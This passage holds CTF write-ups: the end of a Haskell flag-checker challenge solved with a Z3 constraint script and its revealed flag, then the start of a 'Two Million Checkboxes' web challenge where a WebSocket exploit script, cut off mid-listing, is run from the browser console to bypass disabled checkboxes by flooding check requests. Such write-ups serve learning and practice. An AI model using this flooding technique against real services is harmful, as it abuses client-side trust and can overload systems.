                                                                                                                                           putStrLn <span class="hljs-string">"no thats not 195  
"</span>  
                                                                                                                                           exitFailure  
                                                                                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                       putStrLn <span class="hljs-string">"no thats not 127"</span>  
                                                                                                                                       exitFailure  
                                                                                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                                   putStrLn <span class="hljs-string">"no thats not 224"</span>  
                                                                                                                                   exitFailure  
                                                                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                               putStrLn <span class="hljs-string">"no thats not 4928"</span>  
                                                                                                                               exitFailure  
                                                                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                           putStrLn <span class="hljs-string">"no thats not 151"</span>  
                                                                                                                           exitFailure  
                                                                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                       putStrLn <span class="hljs-string">"no thats not 255"</span>  
                                                                                                                       exitFailure  
                                                                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                                   putStrLn <span class="hljs-string">"no thats not 641025"</span>  
                                                                                                                   exitFailure  
                                                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                               putStrLn <span class="hljs-string">"no thats not 11118"</span>  
                                                                                                               exitFailure  
                                                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                           putStrLn <span class="hljs-string">"no thats not 206"</span>  
                                                                                                           exitFailure  
                                                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                       putStrLn <span class="hljs-string">"no thats not 7"</span>  
                                                                                                       exitFailure  
                                                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                                   putStrLn <span class="hljs-string">"no thats not 212"</span>  
                                                                                                   exitFailure  
                                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                               putStrLn <span class="hljs-string">"no thats not 70"</span>  
                                                                                               exitFailure  
                                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                           putStrLn <span class="hljs-string">"no thats not 138"</span>  
                                                                                           exitFailure  
                                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                       putStrLn <span class="hljs-string">"no thats not -156"</span>  
                                                                                       exitFailure  
                                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                                   putStrLn <span class="hljs-string">"no thats not 3465"</span>  
                                                                                   exitFailure  
                                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                               putStrLn <span class="hljs-string">"no thats not 221"</span>  
                                                                               exitFailure  
                                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                           putStrLn <span class="hljs-string">"no thats not 72"</span>  
                                                                           exitFailure  
                                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                       putStrLn <span class="hljs-string">"no thats not 2714"</span>  
                                                                       exitFailure  
                                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                                   putStrLn <span class="hljs-string">"no thats not 3630"</span>  
                                                                   exitFailure  
                                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                               putStrLn <span class="hljs-string">"no thats not 77"</span>  
                                                               exitFailure  
                                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                           putStrLn <span class="hljs-string">"no thats not 197"</span>  
                                                           exitFailure  
                                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                       putStrLn <span class="hljs-string">"no thats not -8"</span>  
                                                       exitFailure  
                                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                                   putStrLn <span class="hljs-string">"no thats not 127"</span>  
                                                   exitFailure  
                                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                               putStrLn <span class="hljs-string">"no thats not 100"</span>  
                                               exitFailure  
                                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                           putStrLn <span class="hljs-string">"no thats not 11990"</span>  
                                           exitFailure  
                                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                       putStrLn <span class="hljs-string">"no thats not 105"</span>  
                                       exitFailure  
                               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                                   putStrLn <span class="hljs-string">"no thats not 5723"</span>  
                                   exitFailure  
                           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                               putStrLn <span class="hljs-string">"no thats not 159"</span>  
                               exitFailure  
                       <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                           putStrLn <span class="hljs-string">"no thats not 2714"</span>  
                           exitFailure  
                   <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                       putStrLn <span class="hljs-string">"no thats not 9215"</span>  
                       exitFailure  
               <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
                   putStrLn <span class="hljs-string">"no thats not 197"</span>  
                   exitFailure  
           <span class="hljs-keyword">else</span> <span class="hljs-keyword">do</span>  
               putStrLn <span class="hljs-string">"no thats not 3366"</span>  
               exitFailure  


<span class="hljs-title">main</span> :: <span class="hljs-type">IO</span> ()  
<span class="hljs-title">main</span> = <span class="hljs-keyword">do</span>  
   args &lt;- getArgs  
   <span class="hljs-keyword">case</span> args <span class="hljs-keyword">of</span>  
       [flag] -&gt; checkFlag flag  
       _      -&gt; <span class="hljs-keyword">do</span>  
           putStrLn <span class="hljs-string">"yo u gotta pass in a flag bruh or else the case args thing won't match the first case"</span>
</code></pre>
<p>After staring at the screen for 4 hours, I realized that i just need the relevant part of the code,</p>
<h3 id="heading-the-relevant-part">The Relevant part:</h3>
<pre><code class="lang-haskell"><span class="hljs-title">let</span> chars :: [<span class="hljs-type">Integer</span>]  
               chars = map fromIntegral . map fromEnum $ flag  
           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">37</span>) (chars !! <span class="hljs-number">15</span>) == <span class="hljs-number">3366</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">8</span>) (chars !! <span class="hljs-number">21</span>) == <span class="hljs-number">197</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                   <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">8</span>) (chars !! <span class="hljs-number">13</span>) == <span class="hljs-number">9215</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                       <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">0</span>) (chars !! <span class="hljs-number">3</span>) == <span class="hljs-number">2714</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">3</span>) (chars !! <span class="hljs-number">21</span>) == <span class="hljs-number">159</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">1</span>) (chars !! <span class="hljs-number">20</span>) == <span class="hljs-number">5723</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                   <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">6</span>) (chars !! <span class="hljs-number">37</span>) == <span class="hljs-number">105</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                       <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">11</span>) (chars !! <span class="hljs-number">7</span>) == <span class="hljs-number">11990</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                           <span class="hljs-keyword">if</span> (.&amp;.) (chars !! <span class="hljs-number">29</span>) (chars !! <span class="hljs-number">25</span>) == <span class="hljs-number">100</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                               <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">16</span>) (chars !! <span class="hljs-number">29</span>) == <span class="hljs-number">127</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                   <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">20</span>) (chars !! <span class="hljs-number">6</span>) == <span class="hljs-number">-8</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">21</span>) (chars !! <span class="hljs-number">20</span>) == <span class="hljs-number">197</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">36</span>) == <span class="hljs-number">77</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">11</span>) == <span class="hljs-number">3630</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                   <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">4</span>) (chars !! <span class="hljs-number">3</span>) == <span class="hljs-number">2714</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                       <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">6</span>) == <span class="hljs-number">72</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                           <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">25</span>) (chars !! <span class="hljs-number">24</span>) == <span class="hljs-number">221</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">14</span>) (chars !! <span class="hljs-number">36</span>) == <span class="hljs-number">3465</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                   <span class="hljs-keyword">if</span> (-) ((-) (chars !! <span class="hljs-number">15</span>) (chars !! <span class="hljs-number">11</span>)) <span class="hljs-number">148</span> == <span class="hljs-number">-156</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">37</span>) (chars !! <span class="hljs-number">17</span>) == <span class="hljs-number">138</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                           <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">1</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">70</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">9</span>) (chars !! <span class="hljs-number">29</span>) == <span class="hljs-number">212</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                   <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">30</span>) (chars !! <span class="hljs-number">10</span>) == <span class="hljs-number">7</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">10</span>) (chars !! <span class="hljs-number">33</span>) == <span class="hljs-number">206</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">7</span>) (chars !! <span class="hljs-number">15</span>) == <span class="hljs-number">11118</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                               <span class="hljs-keyword">if</span> (*) ((*) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">14</span>)) <span class="hljs-number">55</span> == <span class="hljs-number">641025</span>  
<span class="hljs-title">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                   <span class="hljs-keyword">if</span> (.|.) ((.|.) (chars !! <span class="hljs-number">7</span>) (chars !! <span class="hljs-number">4</span>)) <span class="hljs-number">216</span> ==  
<span class="hljs-number">255</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">24</span>) (chars !! <span class="hljs-number">4</span>) == <span class="hljs-number">151</span> <span class="hljs-keyword">then</span>  
<span class="hljs-title">do</span>  
                                                                                                                           <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">30</span>) == <span class="hljs-number">4928</span>  
<span class="hljs-title">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                               <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">5</span>) (chars !! <span class="hljs-number">22</span>) == <span class="hljs-number">2</span>  
<span class="hljs-number">24</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                   <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">3</span>  
<span class="hljs-number">6</span>) == <span class="hljs-number">127</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                       <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">13</span>) (chars !!  
<span class="hljs-number">7</span>) == <span class="hljs-number">195</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                           <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">9</span>) (cha  
<span class="hljs-title">rs</span> !! <span class="hljs-number">17</span>) == <span class="hljs-number">111</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                               <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">12</span>) (  
<span class="hljs-title">chars</span> !! <span class="hljs-number">9</span>) == <span class="hljs-number">10403</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                   <span class="hljs-keyword">if</span> xor (chars !! <span class="hljs-number">2</span>  
<span class="hljs-number">8</span>) (chars !! <span class="hljs-number">27</span>) == <span class="hljs-number">23</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                       <span class="hljs-keyword">if</span> xor (chars  
!! <span class="hljs-number">13</span>) (chars !! <span class="hljs-number">34</span>) == <span class="hljs-number">59</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                           <span class="hljs-keyword">if</span> (+) (ch  
<span class="hljs-title">ars</span> !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">31</span>) == <span class="hljs-number">200</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                               <span class="hljs-keyword">if</span> (+)  
(chars !! <span class="hljs-number">17</span>) (chars !! <span class="hljs-number">32</span>) == <span class="hljs-number">213</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  
                                                                                                                                                                   <span class="hljs-keyword">if</span>  
(*) (chars !! <span class="hljs-number">2</span>) (chars !! <span class="hljs-number">12</span>) == <span class="hljs-number">4444</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

 <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">24</span>) (chars !! <span class="hljs-number">31</span>) == <span class="hljs-number">11025</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">5</span>) (chars !! <span class="hljs-number">0</span>) == <span class="hljs-number">5658</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

         <span class="hljs-keyword">if</span> (+) ((+) (chars !! <span class="hljs-number">10</span>) (chars !! <span class="hljs-number">32</span>)) <span class="hljs-number">228</span> == <span class="hljs-number">441</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

             <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">35</span>) (chars !! <span class="hljs-number">0</span>) == <span class="hljs-number">1518</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                 <span class="hljs-keyword">if</span> (.|.) (chars !! <span class="hljs-number">30</span>) (chars !! <span class="hljs-number">8</span>) == <span class="hljs-number">113</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                     <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">34</span>) == <span class="hljs-number">11</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                         <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">26</span>) (chars !! <span class="hljs-number">14</span>) == <span class="hljs-number">9975</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                             <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">31</span>) (chars !! <span class="hljs-number">22</span>) == <span class="hljs-number">10605</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                 <span class="hljs-keyword">if</span> (*) ((*) (chars !! <span class="hljs-number">26</span>) (chars !! <span class="hljs-number">32</span>)) <span class="hljs-number">239</span> == <span class="hljs-number">2452140</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">28</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">13875</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                         <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">18</span>) (chars !! <span class="hljs-number">16</span>) == <span class="hljs-number">190</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                             <span class="hljs-keyword">if</span> (+) ((+) (chars !! <span class="hljs-number">27</span>) (chars !! <span class="hljs-number">26</span>)) <span class="hljs-number">96</span> == <span class="hljs-number">290</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                 <span class="hljs-keyword">if</span> (-) (chars !! <span class="hljs-number">22</span>) (chars !! <span class="hljs-number">38</span>) == <span class="hljs-number">-24</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                     <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">33</span>) (chars !! <span class="hljs-number">5</span>) == <span class="hljs-number">224</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                         <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">19</span>) (chars !! <span class="hljs-number">16</span>) == <span class="hljs-number">10355</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                             <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">27</span>) (chars !! <span class="hljs-number">1</span>) == <span class="hljs-number">158</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                 <span class="hljs-keyword">if</span> (+) (chars !! <span class="hljs-number">33</span>) (chars !! <span class="hljs-number">12</span>) == <span class="hljs-number">202</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                     <span class="hljs-keyword">if</span> (*) (chars !! <span class="hljs-number">19</span>) (chars !! <span class="hljs-number">23</span>) == <span class="hljs-number">10355</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">do</span>  

                                                                         putStrLn <span class="hljs-string">"yea go submit the flag"</span>
</code></pre>
<p>We only need the conditional if-else-if ladder above (disaster), to construct the flag.</p>
<p>Here is the script i used:</p>
<pre><code class="lang-plaintext">from z3 import *  

s = Solver()  

# Declare 39 character variables, each an 8-bit integer (ASCII)  
chars = [BitVec(f'c{i}', 8) for i in range(39)]  

# All characters should be printable ASCII  
for c in chars:  
   s.add(c &gt;= 32, c &lt;= 126)  

# Constraints (fixed bitwise expressions)  
s.add(chars[37] * chars[15] == 3366)  
s.add(chars[8] + chars[21] == 197)  
s.add(chars[8] * chars[13] == 9215)  
s.add(chars[0] * chars[3] == 2714)  
s.add(chars[3] + chars[21] == 159)  
s.add(chars[1] * chars[20] == 5723)  
s.add((chars[6] | chars[37]) == 105)  
s.add(chars[11] * chars[7] == 11990)  
s.add((chars[29] &amp; chars[25]) == 100)  
s.add((chars[16] | chars[29]) == 127)  
s.add(chars[20] - chars[6] == -8)  
s.add(chars[21] + chars[20] == 197)  
s.add(chars[2] + chars[36] == 77)  
s.add(chars[35] * chars[11] == 3630)  
s.add(chars[4] * chars[3] == 2714)  
s.add((chars[35] ^ chars[6]) == 72)  
s.add(chars[25] + chars[24] == 221)  
s.add(chars[14] * chars[36] == 3465)  
s.add((chars[15] - chars[11]) - 148 == -156)  
s.add(chars[37] + chars[17] == 138)  
s.add((chars[1] ^ chars[38]) == 70)  
s.add(chars[9] + chars[29] == 212)  
s.add(chars[30] - chars[10] == 7)  
s.add(chars[10] + chars[33] == 206)  
s.add(chars[7] * chars[15] == 11118)  
s.add(chars[28] * chars[14] * 55 == 641025)  
s.add(((chars[7] | chars[4]) | 216) == 255)  
s.add(chars[24] + chars[4] == 151)  
s.add(chars[2] * chars[30] == 4928)  
s.add(chars[5] + chars[22] == 224)  
s.add((chars[18] | chars[36]) == 127)  
s.add(chars[13] + chars[34] == 195)  
s.add((chars[9] | chars[17]) == 111)  
s.add(chars[12] * chars[9] == 10403)  
s.add((chars[25] ^ chars[27]) == 23)  
s.add((chars[13] ^ chars[34]) == 59)  
s.add(chars[18] + chars[31] == 200)  
s.add(chars[17] + chars[32] == 213)  
s.add(chars[2] * chars[12] == 4444)  
s.add(chars[24] * chars[31] == 11025)  
s.add(chars[5] * chars[0] == 5658)  
s.add(chars[10] + chars[32] + 228 == 441)  
s.add(chars[35] * chars[0] == 1518)  
s.add((chars[30] | chars[8]) == 113)  
s.add(chars[28] - chars[34] == 11)  
s.add(chars[26] * chars[14] == 9975)  
s.add(chars[31] * chars[22] == 10605)  
s.add(chars[26] * chars[32] * 239 == 2452140)  
s.add(chars[28] * chars[38] == 13875)  
s.add(chars[18] + chars[16] == 190)  
s.add(chars[27] + chars[26] + 96 == 290)  
s.add(chars[22] - chars[38] == -24)  
s.add(chars[33] + chars[5] == 224)  
s.add(chars[19] * chars[16] == 10355)  
s.add(chars[27] + chars[1] == 158)  
s.add(chars[33] + chars[12] == 202)  
s.add(chars[19] * chars[23] == 10355)  

# Solve  
if s.check() == sat:  
   m = s.model()  
   flag = ''.join([chr(m[c].as_long()) for c in chars])  
   print("Flag:", flag)  
else:  
   print("No solution found.")
</code></pre>
<p>Output:</p>
<pre><code class="lang-bash">$ python3 flag.py
Flag: .;,;.{imagine_if_i_made_it_compiled!!!}
</code></pre>
<p>Initially, we were just given a haskell source code so, to check if the flag works, we must compile the source code:</p>
<p>To compile and run a Haskell file (like your <code>success.hs</code>), you have several options. The most common tool is <strong>GHC</strong> (Glasgow Haskell Compiler).</p>
<h2 id="heading-compiling-with-ghc"><strong>Compiling with GHC</strong></h2>
<ol>
<li><p><strong>Open a terminal</strong> and navigate to the directory containing your <code>success.hs</code> file.</p>
</li>
<li><p><strong>Compile the file</strong> with:</p>
</li>
</ol>
<pre><code class="lang-bash">$ ghc success.hs
</code></pre>
<p>This will produce an executable named <code>success</code> (or <code>success.exe</code> on Windows)</p>
<ul>
<li><strong>Run the executable</strong> with your flag as a command-line argument:</li>
</ul>
<p>text</p>
<pre><code class="lang-bash">$ ./success <span class="hljs-string">"flag here"</span>
</code></pre>
<p>Replace <code>"your_flag_here"</code> with the flag you want to test.</p>
<p>So testing the flag, we get:</p>
<pre><code class="lang-bash">./success <span class="hljs-string">'.;,;.{imagine_if_i_made_it_compiled!!!}'</span>  

yea go submit the flag
</code></pre>
<p>DONE!</p>
<h2 id="heading-what-was-the-challenge-even-about">What was the challenge even about?</h2>
<p>This is what I was thinking when i was just started out this challenge, i bet you thought it too, while reading this, here is the summary:</p>
<p>Basically, explaining what the script/exploit does will be easier to explain:</p>
<p>The script is a <strong>Z3 constraint solver script</strong> that finds a flag (a 39-character ASCII string) by solving a set of mathematical and bitwise constraints. Here's a breakdown of <em>why</em> the flag <code>'.;,;.{imagine_if_i_made_it_compiled!!!}'</code> worked:</p>
<hr />
<h3 id="heading-what-the-script-does"><strong>What the script does</strong></h3>
<ol>
<li><p><strong>Defines 39 8-bit character variables</strong> — each <code>chars[i]</code> represents one character in the flag.</p>
</li>
<li><p><strong>Constrains them to be printable ASCII</strong> (between <code>32</code> and <code>126</code> inclusive).</p>
</li>
<li><p><strong>Adds 50+ complex constraints</strong> involving:</p>
<ul>
<li><p>Additions (e.g. <code>chars[8] + chars[21] == 197</code>)</p>
</li>
<li><p>Multiplications (e.g. <code>chars[11] * chars[7] == 11990</code>)</p>
</li>
<li><p>Bitwise operations: <code>|</code>, <code>&amp;</code>, <code>^</code></p>
</li>
<li><p>Mixed equations: expressions combining multiple operations or characters</p>
</li>
</ul>
</li>
<li><p><strong>Uses Z3 to solve all constraints simultaneously</strong>.</p>
</li>
</ol>
<hr />
<p>The Z3 solver works by:</p>
<ul>
<li><p>Systematically evaluating all the constraints.</p>
</li>
<li><p>Applying SAT-solving techniques to narrow down values.</p>
</li>
<li><p>Finding a consistent assignment of values (<code>model</code>) such that <strong>every constraint is satisfied</strong>.</p>
</li>
</ul>
<p>The constraints were designed in a way that:</p>
<ul>
<li><p>Has a <strong>unique solution</strong> (or one of very few).</p>
</li>
<li><p>Is computationally hard by hand — but solvable via symbolic methods like Z3.</p>
</li>
</ul>
<h2 id="heading-in-short"><strong>In Short:</strong></h2>
<p>This challenge is a constraint-based <strong>flag validator</strong> puzzle. It's about <strong>understanding and solving the internal logic</strong> (math/bitwise conditions) the program uses to check the correctness of the input. You didn’t reverse it — you need to solve it <em>symbolically</em>.</p>
]]></content:encoded></item><item><title><![CDATA[Two Million Checkboxes Writeup]]></title><description><![CDATA[Exploit overview and analysis of a challenge involving two million checkboxes using WebSocket and DevTools]]></description><link>https://prayush.hashnode.dev/two-million-checkboxes-writeup</link><guid isPermaLink="true">https://prayush.hashnode.dev/two-million-checkboxes-writeup</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[web]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[nahamcon]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sat, 01 Nov 2025 14:21:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762006715788/d77724ee-994b-4426-a3d7-a0e749ac64fb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-challenge-description"><strong>Challenge Description:</strong></h1>
<blockquote>
<p>“They thought they could impress us with One Million Checkboxes!? Pfft… how about TWO Million Checkboxes?!_<br />Ya gotta check ’em all!!”_</p>
</blockquote>
<h1 id="heading-initial-recon"><strong>Initial Recon:</strong></h1>
<p>It displayed a comical UI:<br />✅ Two million checkboxes (just 1000 shown at a time)<br />✅ A counter: “Checked: 0 / 2,000,000”<br />✅ A blank page with no clickable checkboxes — they were all disabled<br />✅ A hint to check the page thoroughly</p>
<p>Using DevTools → <strong>Elements</strong>, <strong>Sources</strong>, and <strong>Console</strong>, we investigated the underlying JS logic.</p>
<h1 id="heading-source-code-analysis">Source Code Analysis</h1>
<p>The JS script being used (<code>main.js</code>) is loaded, and here's what we observed:</p>
<ul>
<li><p>A <strong>WebSocket</strong> is established with <code>/ws</code></p>
</li>
<li><p>The app sends a request to <code>get_state</code></p>
</li>
<li><p>The server responds with a base64-encoded and zlib-compressed list of checked checkbox indices</p>
</li>
<li><p>It only <strong>renders 1000 checkboxes at a time</strong> in chunks</p>
</li>
<li><p>The client is allowed to <strong>send</strong> <code>**check**</code> <strong>and</strong> <code>**uncheck**</code> <strong>actions</strong>, but the checkbox input is <code>disabled</code> in the DOM</p>
</li>
</ul>
<p>The flag is revealed only if <strong>all 2,000,000 checkboxes are checked</strong>, and <code>SERVER_FLAG</code> is set.</p>
<h1 id="heading-the-flaw">The Flaw</h1>
<p>Even though the UI disables interaction, the WebSocket client-side code <strong>accepts and sends</strong> <code>**check**</code> <strong>commands</strong>.</p>
<p>That meant we could send our own WebSocket requests to simulate checking <strong>every single box</strong>.</p>
<p>However — 2 million checkboxes is too much to process in one go. So we needed to batch them.</p>
<h1 id="heading-the-exploit">The Exploit</h1>
<p>We opened the browser’s DevTools (F12) and ran this script directly in the <strong>Console tab</strong>:</p>
<pre><code class="lang-JavaScript">
<span class="hljs-comment">// Step 1: Connect the WebSocket globally  </span>
<span class="hljs-built_in">window</span>.ws = <span class="hljs-keyword">new</span> WebSocket(<span class="hljs-string">'ws://'</span> + <span class="hljs-built_in">window</span>.location.host + <span class="hljs-string">'/ws'</span>);  

<span class="hljs-comment">// Step 2: Once connected, flood all checkboxes in chunks  </span>
<span class="hljs-built_in">window</span>.ws.onopen = <span class="hljs-function">() =&gt;</span> {  
    <span class="hljs-keyword">const</span> CHUNK_SIZE = <span class="hljs-number">100000</span>;  
    <span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>;  

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">floodCheckBoxes</span>(<span class="hljs-params"></span>) </span>{  
        <span class="hljs-keyword">if</span> (i &gt;= <span class="hljs-number">2000000</span>) {  
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'✅ Finished sending all check requests'</span>);  
            <span class="hljs-keyword">return</span>;  
        }  

        <span class="hljs-keyword">const</span> chunk = <span class="hljs-built_in">Array</span>.from({ <span class="hljs-attr">length</span>: CHUNK_SIZE }, <span class="hljs-function">(<span class="hljs-params">_, k</span>) =&gt;</span> i + k);  

        <span class="hljs-built_in">window</span>.ws.send(<span class="hljs-built_in">JSON</span>.stringify({  
